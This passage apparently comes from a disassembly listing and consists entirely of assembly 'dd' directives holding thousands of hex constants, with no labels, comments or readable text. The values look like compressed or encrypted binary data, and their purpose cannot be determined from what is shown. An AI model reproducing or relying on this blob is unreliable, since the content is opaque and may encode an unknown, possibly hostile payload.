		dd 40101D46h, 654F886Ah, 0C2142528h, 0A3643988h, 4CAA2386h
		dd 89F9FB12h, 750ACAA3h, 1BE8F616h, 972E841h, 0EB955FB8h
		dd 57CAF91Dh, 511A4A17h, 2BF023D3h, 0EC174710h,	0E8A01AF8h
		dd 9093F0B2h, 717DD625h, 77DD6EC4h, 0F022A937h,	24CB6697h
		dd 4492F325h, 80FA9010h, 50492F38h, 6D447047h, 7AC67008h
		dd 1EFC495Ch, 30F5D95Eh, 2FE1F206h, 0F133A34h, 4318F012h
		dd 9FFA6B26h, 761A5264h, 287EC777h, 53E62B8Ch, 26396931h
		dd 802EC700h, 13A035BCh, 24647525h, 324FF515h, 0F6911A48h
		dd 1002303Dh, 1D84C646h, 0E5208891h, 0EB838B83h, 2E19881Ah
		dd 752F3C80h, 15C6A05h,	0F03EB58h, 4988C0BEh, 465A0822h
		dd 504E87F3h, 25BBE843h, 2C813BBDh, 642A9072h, 4ED8AAC0h
		dd 680C1275h, 0DAFA31F4h, 1440A1F1h, 11F0680Ah,	109F284h
		dd 0EC2C06A3h, 9415622Bh, 0C20C174Ah, 74F0F8EAh, 894C0A4Eh
		dd 5FEB0708h, 9BE7107Fh, 0A5EF1D19h, 0A703FD5Ch, 0F2E7E21Bh
		dd 3C9D12C6h, 0E8B2A4F9h, 667477C6h, 53147522h,	86755C55h
		dd 6DF8872Bh, 0C04C8822h, 0F15AC49Fh, 1862618Ah, 9A16086Dh
		dd 21B7A6B7h, 1C1CF13Bh, 0FCD08DC4h, 0E4B58943h, 5BEB0F12h
		dd 0E9126CE6h, 7176FDE5h, 29036A3Ah, 21B26756h,	0ED32D580h
		dd 74F190DDh, 886FAD30h, 5914F0EBh, 0DE4741A1h,	9045CA64h
		dd 53BF846Ah, 853CFC5Eh, 0FB44758Bh, 5602F73Ch,	0B499A868h
		dd 576594B9h, 10D29B13h, 64EB6E1Eh, 0CD52D460h,	0CBD12E64h
		dd 6738CCB0h, 3CCDF88Ch, 682A408Ah, 405E2ACCh, 8CA4C899h
		dd 2E488D45h, 0C73B40C9h, 0DC628189h, 0BB3D755Bh, 880C32C3h
		dd 60905047h, 72A95868h, 11261447h, 4D9D2618h, 980269B7h
		dd 0EDEC033h, 7DCC0593h, 4629339h, 0CCE7EBF0h, 54694AFh
		dd 6C88DB23h, 185310FAh, 0F806FC5Dh, 9D736BE8h,	65DEDB2Ah
		dd 94F7C757h, 5D392001h, 5F74F810h, 0BE018322h,	1128F285h
		dd 6010FDB8h, 22094A71h, 65C1FE3Ch, 0D27CD6E9h,	0F2D5D78h
		dd 0E8B9A284h, 141D70ACh, 0DD385C88h, 68683244h, 6C375820h
		dd 848C0A65h, 80534010h, 9FB9F759h, 6B48C2FFh, 5789B64Dh
		dd 2C707285h, 8FDD535h,	4B908510h, 336BE8F8h, 2D1F5E31h
		dd 4C629A0h, 0E6F22A38h, 432913D4h, 648B884Ah, 87012C1Ch
		dd 9C286862h, 2C574334h, 0CF23470Ch, 0E21C1414h, 219ABE3Bh
		dd 0A7D2F6B1h, 0FA1B741Bh, 3F9269CBh, 82021985h, 0E8466DAh
		dd 3672784h, 750C74E2h,	3C80CC00h, 0F0F32F08h, 0F4127548h
		dd 96665040h, 31A0C245h, 0A54E0107h, 0C0292990h, 0C262796Fh
		dd 52C9BCF3h, 20F67938h, 19FC782Dh, 8729A847h, 0F00EA27Fh
		dd 505136F6h, 589E233Fh, 1F03D088h, 0A6A5E7BFh,	221E199Dh
		dd 447016A7h, 0B86C68A4h, 5FFDB6E5h, 84AE61F1h,	211B4A8Ch
		dd 0B2E290B4h, 0D0EB1271h, 0CEC8CF2h, 1B7CA045h, 9C1DE0CCh
		dd 0E02F6689h, 0B06FB930h, 0C3D2771h, 77870F02h, 0ACED91AFh
		dd 39A02A1Fh, 4D08C551h, 0C961BF2h, 0EE056240h,	88EA4A84h
		dd 68A88C52h, 0EEA4ED60h, 0CFF62029h, 8ADC109Bh, 0B4040B01h
		dd 749BD1F8h, 42915950h, 7018841Fh, 6DB83FBh, 9F6A3F63h
		dd 99AE84F2h, 741505DFh, 68C8931Ch, 0BD666F8Ah,	2F27F21h
		dd 287E928h, 8AA88408h,	74690C7Bh, 0E1C81943h, 483F9814h
		dd 57886F42h, 3CF24C09h, 0F4C224EFh, 92827C76h,	14117116h
		dd 7D644068h, 59F8370Eh, 0E8861E84h, 2C903D66h,	4E591E29h
		dd 0C30776E2h, 0A9B4B4Fh, 4254088Dh, 92BCF1BAh,	13E53043h
		dd 0EC181F07h, 0A0A66E19h, 0E92C736Eh, 3AABFE83h, 8DF16558h
		dd 6E906884h, 482A7ACFh, 0E9243D72h, 0FCC88448h, 0A2C12245h
		dd 978598B5h, 0AC59AFE8h, 14B889ADh, 0C46EA695h, 8CC1EB7Bh
		dd 0C287F756h, 213CF0F6h, 2176F36Ch, 0A3BF6CF4h, 0F32EC2F0h
		dd 0F310083Dh, 102B1F44h, 30CE6E48h, 9264CAF0h,	87F2DAF8h
		dd 98858B41h, 2E82BB14h, 0A604D50h, 79DB6DC8h, 241C0C1Bh
		dd 0CA2126EBh, 0A868781Bh, 535651CAh, 0EFF3E861h, 7190507Dh
		dd 0A47669C8h, 7B67BD6Ch, 62E9DFA6h, 0B9D06566h, 482535B4h
		dd 31A09811h, 39F0354Eh, 0A6526299h, 0A82D5813h, 88FC1C90h
		dd 159CC905h, 696D782Ch, 0D9E9F742h, 742E9AEBh,	0F7452B8h
		dd 1B891590h, 2D6416DCh, 8EF914EBh, 1504688Ah, 4FE9C789h
		dd 0E9F11000h, 0B3929329h, 5380717Ch, 0F6331D56h, 577E2557h
		dd 75A35E3Ch, 0AC558034h, 1E84935Bh, 8C5B92B6h,	56888208h
		dd 627B9C53h, 0BAE0C63Bh, 6C5B740Ch, 0C2894989h, 8D99FBFCh
		dd 0C804CC1h, 0DF7D3B39h, 0DD8AFC97h, 26A843Dh,	22FFD8F7h
		dd 81E6AC7Dh, 2D18FC68h, 140B5745h, 68B0DE68h, 357E4910h
		dd 0F162F73h, 333DB918h, 5CA22769h, 94299BB7h, 385394B9h
		dd 9DA2D6E8h, 10D7CD5Fh, 0F0CDE8B8h, 16609EB4h,	0E3E3C80h
		dd 0C604755Ch, 572F805Dh, 0F0B7E846h, 0EA613DB4h, 287AC78Bh
		dd 218B0414h, 0CCA560DCh, 807A9DE6h, 51066A2Fh,	27E96843h
		dd 0F090FFF9h, 0A5F4E81Ch, 11FDCACEh, 0A73B1C75h, 9182231h
		dd 34C0E8F2h, 0F4CA8FEBh, 74F818F4h, 28F6A170h,	546C13Ah
		dd 7237FB8h, 681985BEh,	0B33B5068h, 24146690h, 68201306h
		dd 8CB08C80h, 3662ED4Bh, 64CCDEF0h, 0DE3F502h, 0BB726E2Ah
		dd 0C41EB956h, 229ADBCAh, 0D2E59F10h, 90CA5E13h, 4E00B84Eh
		dd 7BB7F7E8h, 0E7B66018h, 90CD7882h, 19751429h,	0F9931457h
		dd 52F64B76h, 32C05413h, 0C655F5Eh, 4A088408h, 17F83E59h
		dd 0ED7358BEh, 0F2E42FD8h, 3662B7A7h, 0F264F9D6h, 5383840Ch
		dd 1E2D4048h, 850DA5F3h, 936ED194h, 829AF48Bh, 0CDA507DEh
		dd 75F005D4h, 0BCA6C571h
		dd 85F2A5B2h, 44F88084h, 1D217310h, 47201CE7h, 0F88010FFh
		dd 0C4F01C8Fh, 8431FE9Ch, 0BFAD11FCh, 0F842801Ch, 0B1444518h
		dd 43DE90B5h, 12E4B2CEh, 312B2DFEh, 0E528A5FFh,	0A7539341h
		dd 64BC3342h, 0A8D84E2Bh, 0FAD2B4CEh, 196775FEh, 33FFBE12h
		dd 5DD157B0h, 0CDB22EC0h, 3BD619CBh, 9425C172h,	809B823h
		dd 6FC4BDE9h, 8C4E8842h, 0ED624B92h, 68C33BFFh,	5375F806h
		dd 25D0F064h, 0C0A1F090h, 942D0872h, 0D0E52368h, 0C2E1BEC8h
		dd 6321E294h, 0E3D06243h, 0E3231571h, 54F212A7h, 0A2391756h
		dd 30904C79h, 0BD890DEBh, 1D6FB680h, 235B78BFh,	0B54C28ECh
		dd 0CCE940F8h, 0BFC8055Fh, 0FCC8A4D0h, 0ED7C4B85h, 21E88242h
		dd 0D2436CE6h, 0A211FF40h, 335A6F17h, 0AD59F1A3h, 28F8E09h
		dd 8BC3BE56h, 8C0BB5CFh, 66A8FEFAh, 94C41181h, 74BF10FCh
		dd 0F0D8C2AFh, 64E1C8CAh, 7188A1D4h, 4E7D6814h,	1A2CD64Bh
		dd 2627F20h, 3D77455Dh,	20CFA828h, 3828E532h, 595A299Dh
		dd 0D156383h, 29BD80C9h, 44093F1Dh, 22F7645Ah, 0E819FD8Ch
		dd 8419ED05h, 35AD2BD9h, 168C98F0h, 919DEF7Ah, 32262A59h
		dd 3B3E1442h, 4BD711CCh, 9AF9D35Fh, 0FA51E417h,	7C146B28h
		dd 691A478Fh, 0B3B989D3h, 8C5343B2h, 734B45FBh,	0E38989FEh
		dd 0D1848A2Ah, 0DF9D8829h, 0DD29C61Fh, 5046F72Ch, 22824322h
		dd 0DD60FD83h, 0A99B3FBh, 0ADCCD44Dh, 70C5F8D8h, 44BE51FCh
		dd 62FA80FCh, 52E62AB8h, 1968E327h, 58BEE40Ah, 7DAAE443h
		dd 0D3D0DA45h, 6B888DBCh, 0E9590541h, 0FC31CC0Ah, 0C1AD6091h
		dd 0B7A35413h, 0FD8C8872h, 18E479EAh, 9AD15CCCh, 0C5118425h
		dd 0F3412718h, 0B18A7303h, 0A1030467h, 8D8A1B08h, 4A48BB2Bh
		dd 9EF980C4h, 60F5801h,	0C932C0FEh, 0EB834426h,	0C17A087Ch
		dd 200A8D51h, 53888203h, 0C0B6300Fh, 0E0C1C906h, 6103083Ah
		dd 0C62B090Ah, 0E8E0423Eh, 4D47FD26h, 0E81E40A9h, 0D633C8FCh
		dd 58B90111h, 0C2F42A01h, 447A580h, 5C693591h, 25C52329h
		dd 2B4933F0h, 71C8A13Bh, 25C0E901h, 4F40B15h, 71B86809h
		dd 5D26392Ch, 0F8971F4h, 0A5B5FE8Fh, 25211DCh, 9E92880h
		dd 9D265CDCh, 9E3959C1h, 597F1062h, 9BC43513h, 0B594E8E0h
		dd 56E32BFCh, 5AF9ADDDh, 4B4AF68Fh, 362E53BCh, 30686D18h
		dd 584C7749h, 83E80CEEh, 2E392AE2h, 0A4A6881Dh,	20BF16AFh
		dd 56417471h, 1F90BE30h, 5003068Bh, 5546B4D8h, 0E4C2D3DAh
		dd 77242105h, 115F541Ah, 93F65711h, 0DA283F4Ah,	0C6258340h
		dd 7EFE683Ch, 0D098A3F8h, 1635FF5Eh, 446A9B8h, 1037E17Fh
		dd 213F43E1h, 0BC159010h, 0C26A899Bh, 0AFE70E92h, 56BAA50Dh
		dd 62402318h, 38C4C53Fh, 0D549BB51h, 0CDE8F218h, 0C21DE4Eh
		dd 2570277Eh, 34FF0B14h, 0CB29A8C5h, 0E58C8A94h, 0E8099C42h
		dd 4351E1A0h, 0DC161394h, 418A9161h, 0C8790AF3h, 3EC7782Ch
		dd 76184F84h, 85F0EF3Eh, 81B5384Bh, 0B8563870h,	3642792h
		dd 47283F71h, 9411A3B0h, 46224273h, 0E8046A0Ah,	6C99934h
		dd 1243438Bh, 43C24CA1h, 0BB24BFE0h, 0F75909EFh, 0A353863Dh
		dd 1A18BD34h, 0C301D89h, 68C3FAD6h, 0BE310D03h,	0D345BC28h
		dd 0B7BB5B50h, 186AF950h, 9B92B8Ah, 7C23D74Eh, 836420A3h
		dd 6A474028h, 79B8D67Fh, 421A7526h, 530C1813h, 61E81738h
		dd 5C76386h, 4117B7BCh,	8218520Bh, 691D1934h, 1D82DE16h
		dd 0B605C655h, 145EA44Bh, 68828635h, 0D447950h,	29447D4Dh
		dd 0BF201A53h, 0DB5FC4B2h, 2CA3F221h, 42FE45ACh, 7D8E6853h
		dd 406B84A2h, 2D5C5EEAh, 1D120DC5h, 0C3232DE6h,	9B70F020h
		dd 2A2C2FE1h, 8FD44FCh,	141D60A9h, 201E7C76h, 0BF183D70h
		dd 0C780C17Ch, 13244904h, 88129F90h, 800E78C3h,	0A9C4C242h
		dd 78102EF8h, 0C410F1C1h, 90182F12h, 0F87888C3h, 0C4142384h
		dd 326A2C84h, 1D858FBDh, 74B541C0h, 2573E9F0h, 44234AF2h
		dd 0D8A4632h, 235F6484h, 10C38C11h, 5A8478B0h, 800538DFh
		dd 218CDA0Fh, 7842C384h, 889827C1h, 5F1D04D2h, 7512249Eh
		dd 68207319h, 0E95FAF8Eh, 0E19EF350h, 90DC418h,	0C65221B6h
		dd 2101DD1Bh, 0DBE2E803h, 0F1385237h, 547ABE40h, 56894C9Bh
		dd 6A333053h, 0B026905Ch, 60A096C5h, 18880274h,	3950A124h
		dd 6C54D0A0h, 586AA393h, 0CC621B0Bh, 0DE9322BDh, 0FD244C45h
		dd 25C8A30Dh, 0A2408DF4h, 28EC0849h, 640D8907h,	4411136Ah
		dd 681A5032h, 2BD5E821h, 42CF59A9h, 4E107818h, 0C40C91DEh
		dd 0D9D11C03h, 28C16084h, 96BD44C8h, 3A9A5A46h,	75472F45h
		dd 590B14D9h, 1C4892D0h, 36DDF2A1h, 3B45C62Bh, 61449FFDh
		dd 748826A5h, 0DDEB42C1h, 8B9107Dh, 9BC2BF56h, 0B1EFFC6Ch
		dd 0DE8C621Bh, 60B24055h, 4040883Ch, 305AC8A3h,	0D279B4E7h
		dd 2DE15449h, 864D6635h, 5E2D51E2h, 8FB4715Dh, 0CEA95610h
		dd 8C57F8EAh, 81F8067Dh, 0E8F000FCh, 99E56F60h,	76590FA2h
		dd 711424DDh, 0FC7032AAh, 0F44AF824h, 79A40BB7h, 7062535Eh
		dd 6C26E6F3h, 8E1B7639h, 0D27AC0ABh, 90F81AC8h,	44A0DE81h
		dd 0F58674FCh, 3B89072Fh, 0F605F7C6h, 68941F65h, 0F44D25B1h
		dd 59F80952h, 0C1C3077h, 0CD520489h, 33F94ED1h,	0A90120C5h
		dd 690F96E6h, 82ED1D47h, 0DBFC7D86h, 3BCA2780h,	6FB191D7h
		dd 820845ECh, 9D51EC75h, 1E7F69C2h, 0B2FC4BBCh,	6EE59645h
		dd 0F6BF8D3Fh, 9F6C7B33h, 0D8647B0Bh, 2D68FA95h, 2313FEE0h
		dd 6EBFFC9Ch, 10BDCA15h, 56309827h, 0DCF85E8Bh,	0FB123B59h
		dd 33F89F0Fh, 0A028CE1h, 0EC4F6A3Ah, 0FEB084F7h, 0D475B027h
		dd 482D80C7h, 0C9FDC601h, 5213D840h, 0D6A94C5Bh, 2BDC5FC6h
		dd 6959DE09h, 0E91090DBh, 8349C3A5h, 3014F07Dh,	41840F74h
		dd 6842983Fh, 5BEB590Dh, 78EDF205h, 27CEF9D5h, 12BDEBB3h
		dd 8A57C412h, 0FD7411E4h, 8B79F010h, 112028BCh,	1983304Ch
		dd 274414C8h, 0F95E16A9h, 0B5C63247h, 0FAC2BF8Fh, 0B5CA1355h
		dd 30E06E4Ch, 5F9DB87Bh, 104924BBh, 0B0AC5893h,	6B644586h
		dd 0EC7DA7D1h, 122DAF30h, 5740BD80h, 0F15AF510h, 0DE6D59E8h
		dd 6EC138Fh, 9BBFC010h,	0ECE8B80Dh, 0C8E79EB3h,	849CBF21h
		dd 48E72E38h, 44B0446Bh, 1294ABE9h, 0A8F86D28h,	91DAFC26h
		dd 0A9E01626h, 3160218Ch, 8FE8830h, 9467B9E4h, 6ED17A10h
		dd 8540EB6h, 3DAABF25h,	6E891EC1h, 14661AF2h, 0A42112E8h
		dd 21EC10FEh, 21C490A8h, 4BE09A94h, 0D3D2947Ah,	0EFDF4CFCh
		dd 0DA8D2191h, 557E3A89h, 8C90E4CFh, 0B14400F5h, 0AC5934BFh
		dd 838BE1F3h, 98758422h, 9EAC4D11h, 4734EF5Ch, 1A4CC177h
		dd 8FEF04D8h, 0CCB2620Fh, 2D146701h, 0B4C49B7Ch, 8445FC52h
		dd 0FB270144h, 32271C5Fh, 4C64D44Dh, 0B4088528h, 745393FEh
		dd 838C35FEh, 274CF8D6h, 0D6E2103Ch, 562F8F41h,	753E02F6h
		dd 4E44BE69h, 4A15EB97h, 8893D4E3h, 0F995B8DCh,	0B84D99A0h
		dd 38681034h, 0E664977Bh, 81889AB2h, 99985D39h,	8407D895h
		dd 2734B61Bh, 0DF539EDCh, 0B23DE871h, 3410AF27h, 36D584FEh
		dd 33795909h, 0C53888A7h, 35D4D41Ch, 89FBC2FAh,	49F69B1Ch
		dd 46483C9Ch, 0CCA48217h, 51AAB482h, 0DC4003D0h, 7C5053C8h
		dd 887AE810h, 0A073A129h, 0DE1EC5C1h, 0D8FE88D3h, 2BB01A95h
		dd 9207F6F4h, 0D4F5588h, 47513D3h, 0A376CBA6h, 0D84D8431h
		dd 4C882EA7h, 986465E8h, 7C4AC432h, 1A45BB14h, 7D6A2C24h
		dd 0C0D65F1Eh, 860FE020h
		dd 51C85C4Fh, 207428D0h, 0F088EBC7h, 0F220EA60h, 1FEBD614h
		dd 0FC2E6121h, 0D4EDF774h, 0AA7EDC26h, 1D5B8E7h, 0C9EC5074h
		dd 0CF21D1D0h, 22044A76h, 0AB655057h, 404378A2h, 91B54C22h
		dd 5826F09Fh, 1BB0E5A1h, 22357D13h, 0AC8D413h, 14D50BB8h
		dd 0A3F4DA4Dh, 4BD507DBh, 0B6EA453h, 0BC9090B3h, 0C2E8D4C3h
		dd 1AE9334Fh, 65DD4CA2h, 524A97F2h, 0EA55646Bh,	0D101B656h
		dd 0B8895B47h, 277C2729h, 2D953F6h, 7BD82589h, 60C044CFh
		dd 9F57066Ah, 0E7BAF146h, 0D3085D27h, 53FC44F7h, 30572A49h
		dd 4E0168A2h, 125F5204h, 8458B5B0h, 43C47050h, 80142CFBh
		dd 9B419B95h, 6A6519CAh, 1C7C230Ah, 4C518BB9h, 0CA842BEDh
		dd 7BE82809h, 0EA748B23h, 0DE495358h, 0BD890916h, 0B594AB8h
		dd 961A77DDh, 0FCB458B8h, 847BD888h, 29E8F44Dh,	0D9351257h
		dd 5AD1C482h, 35C84C33h, 2004C4A2h, 6E12BE74h, 0EC013964h
		dd 407CBD68h, 9489BFC3h, 23C84738h, 0CE1D91C6h,	0E8C5D868h
		dd 88344F69h, 4F9C1549h, 748C0052h, 0BF47E9F3h,	87D87E8h
		dd 7BC973BEh, 32C6AA63h, 565FD43Eh, 22F13455h, 0C6241344h
		dd 0BCF98BDEh, 6E60EE0Dh, 4148C933h, 82512066h,	0B29093A8h
		dd 47AB595Dh, 91D59933h, 190208D9h, 20BECCD7h, 7D3857E8h
		dd 847E47D6h, 0C4B26AF5h, 0EB4C56D2h, 4A2ED369h, 0E4150F78h
		dd 0EEB46D8h, 1D599FCEh, 230C20B2h, 0B838C73Bh,	7E8B40BDh
		dd 75BEDD40h, 0E489AA0Eh, 5650B089h, 9D71C7FCh,	65E0AD15h
		dd 16EBCCD6h, 525EA9FCh, 42BCC887h, 6D117C88h, 93A7B35h
		dd 8738BC8Bh, 5182D022h, 0B9A4B7ACh, 0CC138D14h, 1C25B38Dh
		dd 99469065h, 4F160E8Bh, 9A2BBDD8h, 41C67477h, 7E7EA568h
		dd 5F4D6038h, 4C5D9ED0h, 3068A1D3h, 0CEE8ED84h,	3F9B8932h
		dd 84622310h, 7BD9B0FFh, 0AC088B58h, 0E8FC0909h, 856D2AAh
		dd 0CA225B79h, 0CA50CFD0h, 7C7B97BBh, 5E54BC11h, 64D55A1Fh
		dd 1D10564Dh, 0E3365363h, 7E824046h, 173E9768h,	628BF349h
		dd 4A5DE9C3h, 28E890D4h, 0DCDE8811h, 0B9E7A486h, 98D813C7h
		dd 2481ECDDh, 0F652691Ch, 79BF28AEh, 4BD85740h,	1473A3EEh
		dd 0D07AD4A5h, 0B2DA9B11h, 971D44B6h, 7E34A94Eh, 1D264B1Bh
		dd 85E98C35h, 57B91A83h, 0E8ECFA1Eh, 9CD1B925h,	0FA4C9561h
		dd 772CD44Fh, 25B8110h,	7DB7AF2Ch, 59977066h, 8821225h
		dd 1C147C47h, 3E4538A8h, 4C1631B4h, 0EBA767D4h,	0EE900F97h
		dd 0D2CEF027h, 0BC9D03B2h, 586A9854h, 20E1F457h, 87570801h
		dd 8992502Fh, 8148B551h, 20A82FE8h, 21EC2D1Bh, 21087DD0h
		dd 228CD34Eh, 0F13EFF75h, 251A0912h, 3049937Dh,	441834BFh
		dd 0A6ABB738h, 0FD427E2Eh, 8F304F1Ah, 0F8A56CD1h, 264AB314h
		dd 2CAAAC1Dh, 797E4948h, 0A43F5D3Ch, 64786C48h,	531BD2B5h
		dd 116A1290h, 0CD171EDDh, 8223F6Bh, 88FF2C21h, 47F48146h
		dd 7F684328h, 514D4586h, 0AF4CE94Fh, 20ECE585h,	454AB296h
		dd 0BA282E3Ah, 2135A6C0h, 18117CE0h, 0AEF80995h, 46C7AA46h
		dd 88980B2Fh, 0CF8ACFB6h, 90042489h, 0E62CB205h, 0FF382D85h
		dd 72337BB1h, 84994969h, 5FCD8D47h, 84ACCD43h, 4C8B0CF4h
		dd 0F8360306h, 0EEC82271h, 0CCAA2DFAh, 68174D31h, 8AA44AF9h
		dd 0DBF2F9BDh, 4F07A7F5h, 8B36C518h, 31E80982h,	0B19165CFh
		dd 2FB306Bh, 0D6EA5568h, 62B25765h, 0FE1367Fh, 30BD8014h
		dd 0ED9F814Eh, 451A0601h, 0E004E631h, 0BC5D3840h, 2DB57774h
		dd 28EEA6BBh, 0D50909F5h, 61C5C87Eh, 2E68162Ch,	8B247EB8h
		dd 327F2EAAh, 2161282h,	879D88B4h, 50EAC657h, 2FE85D02h
		dd 0C5CAF4D1h, 841D1330h, 648E1377h, 6A966858h,	2797CE43h
		dd 0F608C887h, 8B6603D0h, 6F4C3285h, 7F199727h,	0D914341Ah
		dd 5C9D7222h, 0F68E5A4Dh, 0A381FC4Fh, 98228D68h, 5B023D12h
		dd 4ED097E8h, 42988FD6h, 8A1CCDD2h, 6DED5F96h, 10906FA3h
		dd 7B2DA384h, 43742821h, 0FC4CD063h, 0DCE8175Ah, 2AC974CFh
		dd 0E8570E4Ch, 5F891A39h, 5D852494h, 38F40690h,	0CC4FEE18h
		dd 953ED479h, 7C08EE0Eh, 14B4240Ch, 0C69D86BEh,	569D89C9h
		dd 0BAB802D3h, 0FC8D2F79h, 855B520h, 85509439h,	55A7413h
		dd 0C0EFA6B4h, 89107508h, 23C50495h, 210B85C7h,	699A7602h
		dd 2CC515F4h, 1B05B029h, 26C95DABh, 4F11C8CDh, 0D5DE53C9h
		dd 572C74E1h, 296F3449h, 0CF4D6F5Bh, 1609605Fh,	74A11629h
		dd 0A73E4D48h, 6515792Bh, 44825152h, 461435DAh,	53CA1942h
		dd 0EC06E944h, 16956122h, 3F42038h, 39021DBCh, 0F57F0C1Dh
		dd 0E5F625AFh, 8DA89256h, 50578CF4h, 61BE14B8h,	30BF0B18h
		dd 4D8D0091h, 68511CFCh, 60021919h, 7692FFFFh, 0C445AA50h
		dd 10B2332Ah, 306519EDh, 0A5F33A76h, 399B602Bh,	0C18F2DB4h
		dd 0ADC33BEAh, 850DE3A2h, 4E0E2866h, 28E3440Ch,	4A8A2291h
		dd 241119A2h, 23966B0Ch, 89EE1844h, 0EB709039h,	0B215599Dh
		dd 90D29804h, 0B3D3263Ah, 0A8179693h, 6A908326h, 0E281264h
		dd 906A35EAh, 78EBD926h, 573D6A30h, 0A4E93FE8h,	6045D427h
		dd 58206815h, 44E54A10h, 3EDE530Bh, 0FD108DEBh,	91FC5C64h
		dd 8CD05ADh, 14EB2920h,	0CCEFE216h, 0A6531010h,	9B169F14h
		dd 3FA59121h, 2C08FDA1h, 1F526B2Ah, 149D0952h, 0B4E63CEBh
		dd 8AA54A28h, 4A104715h, 829E5F1h, 883E9128h, 2E3EC530h
		dd 46073EC6h, 25939F4h,	4DFE8644h, 0FB9C16AFh, 4EB9DE28h
		dd 11E3E6A7h, 9884FD64h, 44EC2802h, 2A25E8FEh, 806920D4h
		dd 0C1EB05BCh, 75595C1Fh, 11195814h, 9C88F98Bh,	0D8FA1854h
		dd 784868BBh, 64169FE0h, 66562CEBh, 2F31D14Eh, 5302F85Dh
		dd 46F51A92h, 0FD6821A0h, 88876490h, 71E908A4h,	0A14D21B2h
		dd 625D3424h, 0FD4C5A27h, 23445E89h, 0CB94148Dh, 5E242B39h
		dd 410A2AD1h, 0C2688B1Fh, 0FE98D528h, 12BFC932h, 64845380h
		dd 0D331BF4Ch, 347F04BEh, 0A261BEF9h, 9A0C91C4h, 348BD040h
		dd 565FA83Dh, 2A148DD2h, 0D7279F8Ah, 0BB64C076h, 2A748EC8h
		dd 791DF671h, 80540C10h, 2E13E8BDh, 45127520h, 423694E9h
		dd 2A2E8F09h, 41A1E639h, 0D9F2B417h, 0C5531819h, 52161638h
		dd 0E054141Ch, 42D99514h, 46E85D67h, 1C53C82Ch,	2AE4557Ah
		dd 8FE9AADDh, 2D980D52h, 88DD2A69h, 0CFE65211h,	0AE1EFD5Dh
		dd 2BA6A34Eh, 0E83F844Fh, 0FA4487A8h, 91C26833h, 185645D7h
		dd 16A7BA9h, 71911BACh,	7DA2D962h, 54253132h, 0B1862C56h
		dd 8B8458F7h, 6A32A0D2h, 2D534053h, 5021D4C8h, 9A84680Ah
		dd 0CAD59F9Bh, 271FC435h, 99DDBD0h, 0B3B2F676h,	335874D2h
		dd 28D63CD3h, 0A3700858h, 46D7C64Ah, 0D4448D5h,	3832C574h
		dd 28185819h, 0C4742186h, 20C81490h, 1199FCC2h,	86EC1850h
		dd 86E018F9h, 2A41B452h, 0C520DC8h, 0DAC2A68h, 61278055h
		dd 0D67D07BAh, 74201B68h, 0C37D8344h, 5810213Ch, 73413410h
		dd 10900461h, 3F248850h, 831C20C2h, 4114C357h, 0AEE35210h
		dd 7D4D8210h, 0C70B89E6h, 59C61005h, 946885B2h,	2CE53699h
		dd 2F8CA328h, 48541C48h, 8ED02E77h, 0A38B9827h,	2D4FD014h
		dd 342C88B2h, 0A92991C0h, 1223827h, 14997823h, 0B0CAB26Ch
		dd 3760C4CCh, 50440D6Ah, 0F3B1F432h, 0AC040C40h, 292C43E6h
		dd 1C102724h, 440D44CAh, 1AA8320Ch, 3E56BB08h, 0F0C49C95h
		dd 88B1608Fh, 0C604E2F4h, 4473DC33h, 0C4A863C4h, 8851838h
		dd 876A98F8h, 2029423Ch
		dd 0DDC156Dh, 0C8C43410h, 9CF064C8h, 7AA1207Ah,	812108DCh
		dd 19084234h, 1123F004h, 0EB17B509h, 1C2A390Bh,	0B8671C0Dh
		dd 0B155428Ah, 0A8088A26h, 0CEF78A6h, 88438CC4h, 100D0829h
		dd 0C478C874h, 0C4603164h, 5786580Ch, 847792C0h, 0FCAC3075h
		dd 478C087Dh, 0C4601178h, 0E210C08Fh, 44471420h, 38912C21h
		dd 10641488h, 8438699Ch, 0C841C049h, 45397A10h,	42F41C04h
		dd 15482397h, 3C2B0DE4h, 0DD415AFh, 433B4423h, 0B010A423h
		dd 9CC4A8C8h, 80315832h, 86AE140Ch, 93754842h, 233C9EEFh
		dd 0A4CF4411h, 11A88F11h, 0EFF3588Ah, 70E8AE74h, 0A3DF974Ch
		dd 0B04F5340h, 286824C8h, 0B05464E4h, 1185BBA2h, 10392558h
		dd 40C89934h, 0D30AA6Fh, 20889891h, 0C62A064h, 0FC185C19h
		dd 842B9642h, 0DF415DAh, 0E8103023h, 44279CCAh,	4E1C32D8h
		dd 3E4042D7h, 8149C4B8h, 81410898h, 5FE09A0h, 3108085Ch
		dd 29F05420h, 0B83010C9h, 8CC59C91h, 2CE21C42h,	601D2819h
		dd 6888C0EEh, 0E79653CCh, 4402A584h, 0B46296C0h, 0DCC8C99h
		dd 0D51A4F5h, 940CC5F8h, 0C4702186h, 4CC88890h,	43778C4h
		dd 186C32C5h, 4386C4E8h, 10B42364h, 0BAD4CB58h,	0F00D240Bh
		dd 0FC184462h, 384386C4h, 0E869E024h, 8894910Dh, 62546428h
		dd 18501920h, 90218618h, 0C81090C4h, 3108C488h,	0C20DC5A4h
		dd 0F418B819h, 6C219542h, 0F2CB5BBh, 4C950B82h,	1AE45404h
		dd 0A213BB80h, 213C460Dh, 887C91D4h, 62E864C8h,	183419BCh
		dd 0F85686B0h, 0DA02A82h, 901A48EFh, 0DD85286h,	0C918421h
		dd 0B0647888h, 0F1CC05DCh, 41C2B515h, 601119Fh,	0CF85422h
		dd 70218605h, 21F91CC4h, 0ED185438h, 52E80CA9h,	0B419E118h
		dd 19D50C52h, 0C92452D4h, 0C52F019h, 52FC19BDh,	0E019B124h
		dd 4386A50Ch, 95992194h, 8D210C54h, 81C85090h, 74436C6Ah
		dd 5A105279h, 10716478h, 46922B8h, 461226Ch, 459222Ch
		dd 4512280h, 449223Ch, 0E8D1DC7Ch, 2334478Eh, 0C56888F8h
		dd 0C73D8C4h, 34212BC4h, 9D23091h, 0CB9C9571h, 5011F450h
		dd 3490C793h, 32C498C4h, 48241920h, 21860C0Dh, 0F888C51Ch
		dd 9DD04594h, 280D1298h, 0D89EE4Eh, 0C01A48ECh,	0D645286h
		dd 5C91AC21h, 6C649888h, 7001BA9Dh, 35440D8Bh, 0BC238384h
		dd 76264140h, 10A038E1h, 0D030F071h, 68786C10h,	3C671028h
		dd 0CB3B200Bh, 1C64C591h, 6C788E5Ch, 0D8381187h, 0C6533155h
		dd 0E57C6803h, 0CCD1FF2Eh, 93C50488h, 21A68A1Dh, 0A2FA33Ch
		dd 2C1F1D89h, 289412FAh, 3D7D7420h, 1C93607Dh, 0C9B45014h
		dd 888ACCE0h, 0ACC6080Dh, 0EA1583C1h, 8E15B78h,	4356C608h
